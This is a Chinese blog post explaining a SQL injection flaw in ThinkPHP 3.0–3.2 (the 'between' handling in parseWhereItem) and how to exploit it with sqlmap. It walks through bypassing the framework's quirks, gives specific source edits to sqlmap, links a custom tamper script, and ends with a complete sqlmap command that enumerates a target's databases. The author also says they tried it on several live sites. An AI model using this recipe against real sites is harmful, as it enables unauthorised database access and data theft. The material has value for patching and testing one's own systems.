mysql 注入 3.0_ThinkPHP 3.0~3.2 SQL注入漏洞详解与利用

imgpxy.php?url=gnp.021x003-1111%2F10%2F5102%2Fsdaolpu%2Ftnetnoc-pw%2Ften.ilxilx%2F%2F%3Aptth

0x00 背景

thinkphp最近漏洞频出,这个漏洞属于危害特别大的,以现有的程序员写法,应该都是有漏洞的。自己也测试了几个站点,在利用的时候碰到的一点问题,总结一下。

0x01 漏洞信息

漏洞文件位置ThinkPHPLibraryThinkDb.class.php

parseWhereItem函数由于对between关键字的正则匹配错误,导致了SQL注入。

详情可以上乌云:http://www.wooyun.org/bugs/wooyun-2014-087731

估计通过代码比对可以很快明白。

0x02 EXP

此次的目的是利用sqlmap去自动跑数据,仅测试了3个站点,不过遇到的问题挺多。

问题:

一、TP对0x7167656371形式的数据都解释成是数据表的字段,因此对于sqlmap判断注入存在的关键字是无法利用的,需绕过。

imgpxy.php?url=gnp.021x003-1111%2F10%2F5102%2Fsdaolpu%2Ftnetnoc-pw%2Ften.ilxilx%2F%2F%3Aptth

二、在GET请求时,由于TP的路由模式对URL中的参数取得时,未做URL解码处理,因此提交的时候不能使用URL编码,且不允许出现空格,会导致路由失效出现404。

imgpxy.php?url=gnp.741x003-2222%2F10%2F5102%2Fsdaolpu%2Ftnetnoc-pw%2Ften.ilxilx%2F%2F%3Aptth

三、在sqlmap会对0x7167656371的字符串形式’qgecq‘做匹配,且大小写敏感,不然会造成无法识别注入点。

imgpxy.php?url=gnp.36x003-3333%2F10%2F5102%2Fsdaolpu%2Ftnetnoc-pw%2Ften.ilxilx%2F%2F%3Aptth

四、GET请求时在替换完payload时应该替换空白字符,但是POST时是不需要的。

意味着–skip-urlencode参数可以根据需要添加。

问题来源:

sqlmap的返回验证机制中有一个头关键字,可以观察所有的插入字符都是q开头的,且大小写敏感。因此需要修改这两处。

(伟大娃娃不做程序员真是可惜了- -)

识别解决方案:

修改sqlmap/lib/core/settings.py:

KB_CHARS_BOUNDARY_CHAR = 'L'

修改slqmap/lib/core/common.py:

randomStr函数中

return retVal     =>     return retVal.upper()

另外根据ThinkPHP对数据库的操作要求,必须把0x0000形式直接转换成字符串,因此直接编写一个tamper来完成这个工作。

代码地址:

https://github.com/LxiaoGirl/ThinkPHPSQL0day

最后的命令:

sqlmap.py -u  "http://192.168.1.201:81/index.php/ThinkPHP0day?key[0]=&key[1]=a" -p key[0] --prefix "='-'" --suffix "%23between"  --tamper thinkphp0day.py --technique=U --dbms=mysql --union-char "156427916544" --skip-urlencode --dbs

0x03 后话

测试过E模式U模式,都是可以使用的。唯一需要注意的是–prefix位置需要自己去闭合。

备注:

代码审计过程中需要记录SQL语句执行的过程,但是到mysql的5.6版本时出现一点变动。

mysql5.6 增强了log记录-取消了通用log配置项,改成了general_log,且不记录错误的SQL语句(有同学可以可告知)。

mysql5.5 通用日志记录项目log,也有general_log项,可记录错误SQL语句。因此建议环境设置成5.5。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值